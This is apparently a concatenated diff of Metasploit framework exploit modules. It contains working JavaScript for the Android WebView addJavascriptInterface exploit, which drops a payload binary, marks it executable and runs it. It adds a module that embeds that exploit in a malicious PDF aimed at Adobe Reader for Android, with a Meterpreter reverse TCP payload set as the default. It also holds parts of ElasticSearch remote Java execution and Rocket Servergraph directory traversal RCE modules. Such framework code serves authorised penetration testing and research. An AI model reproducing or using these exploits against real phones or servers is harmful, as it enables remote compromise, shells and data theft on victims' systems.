||||
send_response(cli, js, 'Content-type' => 'text/javascript')
|
||||
if req.uri =~ /\.js/
|
||||
serve_static_js(cli, req)
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
# The browser appears to be vulnerable, serve the exploit
|
||||
def on_request_exploit(cli, req, browser)
|
||||
print_status("Serving exploit HTML")
|
||||
send_response_html(cli, html)
|
||||
arch = normalize_arch(browser[:arch])
|
||||
print_status "Serving #{arch} exploit..."
|
||||
send_response_html(cli, html(arch))
|
||||
end
|
||||
|
||||
def js
|
||||
# Called when a client requests a .js route.
|
||||
# This is handy for post-XSS.
|
||||
def serve_static_js(cli, req)
|
||||
arch = req.qstring['arch']
|
||||
response_opts = { 'Content-type' => 'text/javascript' }
|
||||
|
||||
if arch.present?
|
||||
print_status("Serving javascript for arch #{normalize_arch arch}")
|
||||
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
|
||||
else
|
||||
print_status("Serving arch detection javascript")
|
||||
send_response(cli, static_arch_detect_js, response_opts)
|
||||
end
|
||||
end
|
||||
|
||||
# This is served to requests for the static .js file.
|
||||
# Because we have to use javascript to detect arch, we have 3 different
|
||||
# versions of the static .js file (x86/mips/arm) to choose from. This
|
||||
# small snippet of js detects the arch and requests the correct file.
|
||||
def static_arch_detect_js
|
||||
%Q|
|
||||
function exec(obj) {
|
||||
// ensure that the object contains a native interface
|
||||
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
|
||||
var arches = {};
|
||||
arches['#{ARCH_ARMLE}'] = /arm/i;
|
||||
arches['#{ARCH_MIPSLE}'] = /mips/i;
|
||||
arches['#{ARCH_X86}'] = /x86/i;
|
||||
|
||||
// get the runtime so we can exec
|
||||
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
|
||||
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
|
||||
var ch, path = '/data/data/';
|
||||
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
|
||||
path += '/#{Rex::Text.rand_text_alpha(8)}';
|
||||
|
||||
// build the binary, chmod it, and execute it
|
||||
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
|
||||
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
|
||||
m.invoke(null, null).exec([path]);
|
||||
|
||||
return true;
|
||||
var arch = null;
|
||||
for (var name in arches) {
|
||||
if (navigator.platform.toString().match(arches[name])) {
|
||||
arch = name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i in top) { if (exec(top[i]) === true) break; }
|
||||
if (arch) {
|
||||
// load the script with the correct arch
|
||||
var script = document.createElement('script');
|
||||
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
|
||||
script.setAttribute('type', 'text/javascript');
|
||||
|
||||
// ensure body is parsed and we won't be in an uninitialized state
|
||||
setTimeout(function(){
|
||||
var node = document.body \|\| document.head;
|
||||
node.appendChild(script);
|
||||
}, 100);
|
||||
}
|
||||
|
|
||||
end
|
||||
|
||||
def html
|
||||
"<!doctype html><html><body><script>#{js}</script></body></html>"
|
||||
# @return [String] normalized client architecture
|
||||
def normalize_arch(arch)
|
||||
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
|
||||
end
|
||||
end
|
||||
|
||||
def html(arch)
|
||||
"<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/fileformat'
|
||||
require 'msf/core/exploit/pdf'
|
||||
require 'msf/core/exploit/android'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::PDF
|
||||
include Msf::Exploit::Android
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit',
|
||||
'Description' => %q{
|
||||
Adobe Reader versions less than 11.2.0 exposes insecure native
|
||||
interfaces to untrusted javascript in a PDF. This module embeds the browser
|
||||
exploit from android/webview_addjavascriptinterface into a PDF to get a
|
||||
command shell on vulnerable versions of Reader.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Yorick Koster', # discoverer
|
||||
'joev' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-0514' ],
|
||||
[ 'EDB', '32884' ],
|
||||
[ 'OSVDB', '105781' ],
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'android/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Android ARM', {
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_ARMLE
|
||||
}
|
||||
],
|
||||
[ 'Android MIPSLE', {
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
[ 'Android X86', {
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 13 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Generating Javascript exploit...")
|
||||
js = add_javascript_interface_exploit_js(ARCH_ARMLE)
|
||||
print_status("Creating PDF...")
|
||||
file_create(pdf(js))
|
||||
end
|
||||
|
||||
def trailer(root_obj)
|
||||
id = @xref.keys.max+1
|
||||
"trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
|
||||
end
|
||||
|
||||
def add_compressed(n, data)
|
||||
add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
|
||||
end
|
||||
|
||||
def pdf(js)
|
||||
self.eol = "\x0d"
|
||||
@xref = {}
|
||||
@pdf = header('1.6')
|
||||
|
||||
add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")
|
||||
add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw")
|
||||
add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r")
|
||||
add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo")
|
||||
add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a")
|
||||
add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==")
|
||||
add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6")
|
||||
add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=")
|
||||
add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR")
|
||||
add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD")
|
||||
add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=")
|
||||
add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=")
|
||||
add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==")
|
||||
add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==")
|
||||
add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA")
|
||||
add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=")
|
||||
add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK")
|
||||
add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==")
|
||||
add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==")
|
||||
add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=")
|
||||
add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==")
|
||||
add_compressed(30, "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")
|
||||
add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=")
|
||||
add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==")
|
||||
add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=")
|
||||
|
||||
js = Zlib::Deflate.deflate(js)
|
||||
add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d")
|
||||
|
||||
add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==")
|
||||
add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==")
|
||||
add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=")
|
||||
add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=")
|
||||
add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==")
|
||||
add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=")
|
||||
add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==")
|
||||
add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=")
|
||||
add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==")
|
||||
add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=")
|
||||
add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ")
|
||||
add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=")
|
||||
|
||||
@xref_offset = @pdf.length
|
||||
@pdf << xref_table << trailer(25) << startxref
|
||||
|
||||
@pdf
|
||||
end
|
||||
|
||||
end
|
|
@ -139,4 +139,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
handler(conn.lsock)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in ElasticSearch,
|
||||
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
|
||||
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
|
||||
REST API, which requires no authentication or authorization, where the search
|
||||
function allows dynamic scripts execution, and can be used for remote attackers
|
||||
REST API, which does not require authentication, where the search
|
||||
function allows dynamic scripts execution. It can be used for remote attackers
|
||||
to execute arbitrary Java code. This module has been tested successfully on
|
||||
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
|
||||
},
|
||||
|
@ -65,29 +65,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to execute arbitrary Java..")
|
||||
print_status("#{peer} - Trying to execute arbitrary Java...")
|
||||
unless vulnerable?
|
||||
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Asking remote OS...")
|
||||
print_status("#{peer} - Discovering remote OS...")
|
||||
res = execute(java_os)
|
||||
result = parse_result(res)
|
||||
if result.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...")
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
|
||||
else
|
||||
print_good("#{peer} - OS #{result} found")
|
||||
# TODO: It'd be nice to report_host() with this info.
|
||||
print_good("#{peer} - Remote OS is '#{result}'")
|
||||
end
|
||||
|
||||
jar_file = ""
|
||||
if result =~ /win/i
|
||||
print_status("#{peer} - Asking TEMP path")
|
||||
print_status("#{peer} - Discovering TEMP path")
|
||||
res = execute(java_tmp_dir)
|
||||
result = parse_result(res)
|
||||
if result.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...")
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
|
||||
else
|
||||
print_good("#{peer} - TEMP path found on #{result}")
|
||||
print_good("#{peer} - TEMP path identified: '#{result}'")
|
||||
end
|
||||
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
|
||||
else
|
||||
|
|
|
@ -97,4 +97,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
handler
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,348 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module abuses several directory traversal flaws in Rocket Servergraph Admin
|
||||
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
|
||||
allowing a remote attacker to write arbitrary files and execute commands with
|
||||
administrative privileges. This module has been tested successfully on Rocket
|
||||
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
|
||||
12.04 64 bits.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-3914'],
|
||||
['ZDI', '14-161'],
|
||||
['ZDI', '14-162'],
|
||||
['BID', '67779']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => %w{ linux unix win },
|
||||
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 8192, # it's writing a file, so just a long enough value
|
||||
'DisableNops' => true
|
||||
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux (CMD Payload)',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
],
|
||||
[ 'Windows / VB Script',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Windows CMD',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 30 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8888)
|
||||
], self.class)
|
